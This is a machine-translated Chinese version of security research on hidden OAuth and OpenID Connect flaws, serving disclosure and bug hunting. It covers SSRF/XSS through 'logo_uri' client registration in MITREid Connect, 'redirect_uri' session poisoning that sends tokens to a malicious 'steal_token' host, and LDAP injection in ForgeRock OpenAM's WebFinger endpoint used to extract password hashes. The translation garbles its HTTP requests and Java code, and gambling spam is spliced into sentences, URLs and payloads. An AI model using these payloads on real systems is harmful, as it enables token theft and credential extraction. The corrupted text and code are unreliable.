隐藏的OAuth攻击向量

介绍

OAuth2授权协议在过去的十年里一直饱受抨击。您可能已经听说过许多“return_uri”技巧、令牌泄漏、对客户机的csrf风格攻击等等。然而,在本文中,我们将介绍三个全新的OAuth2和OpenID连接漏洞:动态客户端注册:SSRF由设计“,”Redirect_Uri会话中毒“, 和 ”beplay体育能用吗WebFinger用户枚举”。我们将讨论关键概念,并在两个开源软件上演示这些攻击OAuth.服务器(Forgerock Openam和Mitreid Connect),并提供一些关于如何自行检测这些漏洞的提示。

如果您不熟悉一些经典的OAuth漏洞,请不要担心。虽然我们不会在这里讨论它们,但我们已经在我们的网络安全学院广泛地讨论过了:beplay体育能用吗https://beplay官网可以赌portsbeplay体育能用吗wigger.net/web-security/oauth

注意OpenID

在潜入漏洞之前,我们应该简要谈谈OpenID。OpenID Connect是对OAuth协议的流行扩展,它带来了许多新功能,包括ID_Tokens,自动发现,配置端点和更多更多。来自A.波普只要测试OAuth应用程序,目标服务器也支持OpenID的很大机会,这大大扩展了可用攻击曲面。作为错误的猎人,每当您测试OAuth进程时,都应该尝试获取标准“/.well-known/openitid-configuration”端点。即使在黑匣子评估中,这也可以为您提供大量信息。

第一个:动态客户端注册 - SSRF通过设计

过去的许多OAuth攻击在每次登录时在浏览器的流量中看到授权端点。如果您正在测试一个网站并查看像“/授权?client_id = aaa&redirect_uri = bbb”的请求beplay体育能用吗可以相对肯定是一个OAuth Endpoint,可以使用大量参数来测试。同时,由于OAuth是一个复杂的协议,因此即使从未从客户端 - 侧HTML页面中引用,服务器也可以支持其他端点。

您可能会错过的隐藏url之一是动态客户端注册端点。为了成功地对用户进行身份验证,OAuth服务器需要知道关于客户端应用程序的详细信息,例如“client_name”、“client_secret”、“redirect_uri”等等。这些细节可以通过本地配置提供,但是OAuth授权服务器也可以有一个特殊的注册端点。这个端点通常被映射到"/register",并接受以下格式的POST请求:

发布/连接/注册HTTP / 1.1
内容类型:应用/ JSON
主持人:server.example.com.
授权:持票人eyjhbgcioijsuzi1nij9.eyj ...

{
“application_type”:“网beplay体育能用吗络”,
“redirect_uris”:[“https://client.example.org/callback”],
“客户名称”:“我的例子”,
“logo_uri”:“https://client.example.org/logo.png”,
“subject_type”:“成对”,
“sector_identifier_uri”:“https://example.org/rdrct_uris.json”,
“token_endpoint_auth_method”:“client_secret_basic”,
“jwks_uri”:“https://client.example.org/public_keys.jwks”,
“联系人”:“ve7jtb@example.org”,
“请求_uris”:[“https:////client.example.org/rf.txt”]
}

有两个规范在此请求中定义参数:RFC7591.对于OAuth和Openid连接注册1.0

如您所见,通过URL引用传递许多这些值,并看起来像潜在的目标服务器端请求伪造。与此同时,我们测试的大多数服务器不会在收到注册请求时立即解决这些URL。相反,它们只需保存这些参数并在OAuth授权流程期间稍后使用它们。换句话说,这更像是二阶SSRF,这使得黑盒检测更加困难。

对于SSRF攻击,以下参数特别有趣:


以下参数还包含URL,但是通常用于发出服务器到服务器的请求。它们被用于客户端重定向/引用:


所有这些参数都是可选的,根据OAuth和OpenID规范,并不总是在特定服务器上支持,因此始终值得识别服务器上支持哪些参数。

如果您的目标是OpenID服务器,则发现端点在“。众所周知的/openid-configuration”有时包含“registration_endpoint”、“request_uri_parameter_supported”和“require_request_uri_registration”等参数。这些可以帮助您找到注册端点和其他服务器配置值。

CVE-2021-26715: SSRF via "logo_uri" in MITREid Connect

MITREid连接充当独立的OAuth授权服务器。在默认配置中,其大多数页面都需要适当的授权,您甚至无法创建新的用户 - 仅允许管理员创建新帐户。

它还有用OpenID动态客户端注册协议并支持注册客户端OAuth应用程序。虽然此功能仅从管理面板引用,但实际的“/寄存器”端点根本不会检查当前会话。

通过查看源代码,我们发现Mitreid Connect以下面的方式使用“logo_uri”:


当用户访问“/ OpenID-Connect-server-webapp / api / client / {id} / logo”端点时发beplay体育能用吗生此过程,该端点返回获取的“logo_uri”的内容。具体来说,弱势控制器位于org.mitre.openid.connect.beplay体育能用吗web.clientapi#getClientLogo.

由于服务器未检查检索到的内容实际上是图像,因此它可能被攻击者滥用,以请求从授权服务器访问的任何URL并显示其内容,导致a服务器端请求伪造攻击。

此功能也可能被滥用以执行a跨站脚本攻击,因为“GetClientLogo”控制器未执行任何图像“Content-Type”标题,允许攻击者从自己的URL中显示任意HTML内容。如果此HTML包含JavaScript代码,则它将在授权服务器域中执行。

利用

我们需要发送一个如上所述的动态客户端注册请求。在本例中,我们需要提供的最小参数是"redirect_uri"和"logo_uri":

Post / OpenID-Connect-Serverbeplay体育能用吗-WebApp / Register HTTP / 1.1
主持人:本地:8080
内容长度:118
内容类型:application / json

{
“redirect_uris”:[
“http://artsploit.com/redirect”
],
“logo_uri”:“http://artsploit.com/xss.html”
}

要向指定的“logo_uri”启动服务器到服务器请求:“http://artsploit.com/xsss.html”,用户应该导航“/api/clients/ {client.id }/logo”页面:

界面显示SSRF攻击的输出信息

访问最后一页需要低特权帐户。如果攻击者能够通过注册获得一个,那么他们可以使用这个端点向本地服务器发出任意HTTP请求并显示其结果。

或者,这种攻击可以用来攻击已经通过身份验证的用户XSS攻击,因为它允许您在页面上注入任意的JavaScript。如上面的示例所示,一个恶意的“logo_uri”:“http://artsploit.com/xss.html”可以用来执行一个“alert(document.domain)”函数。

{client.id}参数是与在OAuth Server注册的每个新客户端关联的增量值。它可以在客户注册后没有任何凭据获得。由于创建服务器时已存在一个默认客户端应用程序,则第一个动态注册的客户端将具有Client_ID“2”。

正如我们从该漏洞所看到的那样,OAuth服务器可以在注册端点中具有二阶SSRF漏洞,因为规范明确地指出,URL引用可以提供多个值。这些漏洞是微妙的,但由于OAuth注册请求格式标准化,即使在黑匣子方案中也可能仍然可以。

第二章:“redirect_uri”会话中毒

我们将研究的下一个漏洞在于服务器在身份验证流期间传递参数的方式。

根据OAuth规范(第4.1.1节)RFC6749.或者,每当OAuth服务器接收到授权请求时,它应该“验证请求以确保所有所需参数存在并有效。​​如果请求有效,则授权服务器对资源所有者进行身份验证并获得授权决策(通过询问资源所有者或通过其他方式建立批准)“

听起来很简单,对吧?在几乎所有的OAuth图上,这个过程都显示为一个单独的步骤,但它实际上涉及到三个单独的动作,需要由OAuth服务器实现:

  1. 验证所有请求参数(包括“client_id”,“redirect_uri”)。
  2. 认证用户(通过登录表单提交或任何其他方式)。
  3. 要求用户同意与外部方共享数据。
  4. 将用户重定向回外部方(参数中包含代码/令牌)。

在许多OAuth服务器实现我们所看到的中,通过使用三个不同的控制器,类似于“/授权”,“/登录”和“/ congine_access”的内容来分隔这些步骤。

在第一步(“/授权”)服务器检查“redirect_uri”和“client_id”参数。后来,在“/ confign_access”阶段,服务器需要使用这些参数来发出代码。那么服务器如何记住它们?最明显的方式是:

  1. 存储会话中的“Client_ID”和“redirect_uri”参数。
  2. 将它们携带在每一步的HTTP查询参数中。这可能需要对每个步骤进行有效性检查,并且验证程序可能不同。
  3. 创建一个新的“Interaction_ID”参数,唯一标识与服务器启动的每个OAuth授权流。

正如我们可以在这里看到的,这是严格的OAuth规范并没有真正提供任何建议。因此,实现这种行为存在各种方法。

第一种方法(会话中的商店)非常直观,在代码中看起来优雅,但在同一用户同时发送多个授权请求时,它可能会导致竞争条件问题。

让我们在这个例子中仔细观察。该过程从普通授权请求开始:

/授权?client_id=客户Response_type.=代码redirect_uri.= http://artsploit.com/

服务器检查参数,将它们存储在会话中,并显示同意书:

页面要求批准客户

单击“授权”后,将发送到服务器以下请求:

请求确认后发送到服务器

如您所见,请求体不含有关客户端的任何参数授权,这意味着服务器将它们从用户的会话中取出。我们甚至可以在黑盒测试期间发现这种行为。

基于此行为的攻击将是这样的:

  1. 用户访问特制页面(就像典型的XSS / CSRF攻击方案)。
  2. 页面与“可信”“client_id”重定向到OAuth授权页面。
  3. (在后台)页面向OAuth授权页面向OAuth授权页面向OAUTH授权页面发送“不值得信任”“Client_ID”,该页面将其淘汰会话。
  4. 用户批准第一页,因为会话包含更新值,用户将被重定向到不受信任客户端的“redirect_uri”。

在许多实际系统中,第三方用户可以注册他们自己的客户机,因此这个漏洞可能允许他们注册任意的“redirect_uri”并向它泄漏一个令牌。

然而,有一些警告:用户必须批准任何“可信赖的”客户端。如果他们已经批准了同一客户端,则服务器可能只是重新rirect我们而不要求确认。方便地,OpenID规范为我们提供了“提示=同意”参数,我们可以将授权请求的URL附加,以妨碍此问题。如果服务器遵循OpenID规范,则应要求用户确认其同意,即使他们先前授予它。如果没有确认,则剥削更难但仍然可行,具体取决于特定的OAuth服务器实现。

CVE-2021-27582:[Mitreid Connect]“Redirect_Uri”旁路通过Spring Autobinding

Mitreid Connect Server容易受上述会话中毒问题的影响。在这种情况下,利用甚至不需要注册额外的客户端,因为应用程序在确认页面上具有大规模分配漏洞,这也会导致会话中毒。

在OAuth2流程中,当用户导航到授权页面(“/authorize”)时,AuthorizationEndpoint类正确地检查所有提供的参数(client_id、redirect_uri、scope等)。在此之后,当用户通过身份验证时,服务器将显示一个确认页面,请求用户批准访问。用户的浏览器只能看到“/authorize”页面,但是在内部,服务器执行内部请求从“/authorize”转发到“/oauth/confirm_access”。为了将参数从一个页面传递到另一个页面,服务器在“/ oauth / confign_access”控制器:

@PreAuthorize (“hasRole (ROLE_USER)”)
@requestmapping(“/ oauth / confirm_acces”)
公共字符串Confimaccess.> (Map < String,对象模型,@ModelAttribute(“authorizationRequest”)AuthorizationRequest authRequest,主体p) {

这个注释有点棘手;它不仅从上一个控制器的模型中取参数,而且还采用它们的值从当前HTTP请求查询。因此,如果用户直接导航到浏览器中的“/ OAUTH / COMMANCE_ACCESS”端点,则能够从URL提供所有授权识别参数并绕过检查“/授权”页面的检查。

这里唯一的警告是“/ oauth / syner_ack_access”控制器需要@sessionAttributes(“AuthorizationRequest”)出现在用户的会话中。但是,只需访问“/授权”页面而不执行它的任何操作,就可以轻松实现这一点。此漏洞的影响类似于从未检查过“redirect_uri”的经典场景。

利用

恶意的参与者可以创建两个到授权和确认端点的特殊链接,每个都有自己的“redirect_uri”参数,并将它们提供给用户。

/授权?client_id= C931F431-4E3A-4E63-84F7-948898B3CFF9&Response_type.=代码范围= openid提示=同意redirect_uri.= http://trusted.example.com/redirect / oauth / confirm_access?client_id= C931F431-4E3A-4E63-84F7-948898B3CFF9&Response_type.=代码提示=同意范围= openidredirecturi.=http://malious.example.com/steal_token.

“client_id”参数可以来自用户已经信任的任何客户机应用程序。当“/confirm_access”被访问时,它会从URL中获取所有参数并毒害模型/会话。现在,当用户批准第一个请求时(因为“client_id”是可信的),授权令牌就会泄露给恶意网站。beplay体育能用吗

*注意:您可能会在第二个请求中的第一个请求中的“redirect_uri”之间的预期区别。这是故意的,因为第一个是有效的OAuth参数,而第二个是一个参数名称,其在质量分配期间实际绑定到“authorizationRequest.redirecture”模型属性。

“@modelattribute(”authorizationRequest“)”不必要注释,在转发期间创建额外的风险。执行相同操作的更安全的方法只是将这些值从“Map Model”中的这些值作为用@RequestMapping注释的方法的输入参数(“/ oauth / confign_access”)。

即使在此处不存在大规模分配,也可以通过同时发送两个授权请求,以便它们共享相同的会话,这漏洞仍然可以利用。

第三章:“/.WELL-KNOWN/Webfinger”使beplay体育能用吗所有用户名都众所周知

“/”。众所周知/webfinbeplay体育能用吗ger”是一个标准的OpenID端点,它显示关于用户和服务器上使用的资源的信息。例如,它可以用于以下方式来验证用户“匿名”在服务器上有一个帐户:

/ .well-knownbeplay体育能用吗 / webfinger吗?资源= http:// x /匿名的&rel= http://openid.net/specs/connect/1.0/解析 请求确认后发送到服务器

这只是另一个OpenID端点,您可能在爬网中找不到,因为它意味着OpenID客户端应用程序使用,并且不会从浏览器侧发送这些请求。规格说"rel"参数应该有一个静态值"http://openid.net/specs/connect/1.0/issuer", "resource"应该包含以下形式之一的有效URL:


这个URL是在服务器上解析的,并不是真正用于发送HTTP请求,所以这里没有SSRF。与此同时,您可以尝试寻找普通的漏洞,如SQL注入在那里,当端点不应该需要任何身份验证。

这个端点的棘手部分是响应状态代码:如果参数无效或没有找到用户名,它可能返回404,因此在将其添加到内容发现工具时要小心。

[Forgerock Openam] Webfinger协议中的LDAP注beplay体育能用吗射

我们发现了一个易受攻击的webfinger端点的好例子beplay体育能用吗ForgeRock OpenAM服务器。这个商业软件过去有一个LDAP注入漏洞。

在源代码分析期间,我们发现当OpenAM服务器处理请求时,它将用户提供的资源参数嵌入到LDAP服务器的过滤器查询中。控件中构建的LDAP查询SMSLdapObject.java文件:

string [] objs = {筛选};
字符串FILTER_PATTERN_ORG =“(&(ObjectClass =”
+ SMSEntry。OC_REALM_SERVICE +“)(”+ smsentry.organization_rdn.
+“={0}))”;
String sfilter = MessageFormat。格式(filter_pattern_org,(对象[])objs);

如果资源包含特殊字符,例如“();,* |”,则应用程序不适用于它们的任何转义,并随后在LDAP查询过滤器中包含它们。

从攻击者的角度来看,可以使用LDAP过滤器访问存储在LDAP中的用户对象的不同字段。其中一个攻击方案可能是枚举有效的用户名:

/ openam/.well-knownbeplay体育能用吗/webfinger?资源= http:// x /dsa *&rel= http://openid.net/specs/connect/1.0/解析

如果任何用户名始于“,则服务器在HTTP代码200(OK)响应”dsa *,否则HTTP代码404(未找到)。

此外,我们可以根据用户密码指定过滤器:

/ openam/.well-knownbeplay体育能用吗/webfinger?资源= http:// x /dsameUser)(SunkeyValue = UserPassword = A *)(%2526&rel= http://openid.net/specs/connect/1.0/解析 响应适当的密码通配符猜测 对不正确的密码通配符猜测的响应

这允许我们提取用户的密码哈希字符字符。攻击不仅限于用户属性的提取;它也可用于提取用于令牌签名的有效会话令牌或私钥。

同样,这个漏洞存在于OpenAm服务器的标准OpenID组件中,不需要任何身份验证。

我们在OpenAM的最新开源版本中发现了这个漏洞,位于https://github.com/OpenRock/OpenAM。当我们向Forgerock报告了这种漏洞时,他们的安全团队指出,从更新13.5.1开始,它已经在其产品的商业版本中被修补(见Openam-10135.有关详细信息)。

结论

OAuth和OpenID连接协议很复杂,具有许多移动部件和扩展。如果在网站上测试OAuth授权流程,则可能只看到支持参数和可用端点的一个小子集。beplay体育能用吗虽然Facebook,Google和Apple可以编写他们自己的这些协议的实现,但较小的公司通常使用您可以自己下载的开源实现或商业产品。挖掘文档和RFCS,Google错误,尝试在GitHub上找到源代码,并检查Docker容器以识别您可以达到的所有功能:您将是惊讶的,您可以惊讶您可以找到多少个唯一的错误。

ActiveScan ++ v1.0.22现在检测OpenID和OAuth配置端点的比例,可以帮助您发现它们。我们还在Burp Innuder中的“有趣的文件和目录”列表中。

返回所有文章

相关研究

每日SWIG的推荐故事beplay2018官网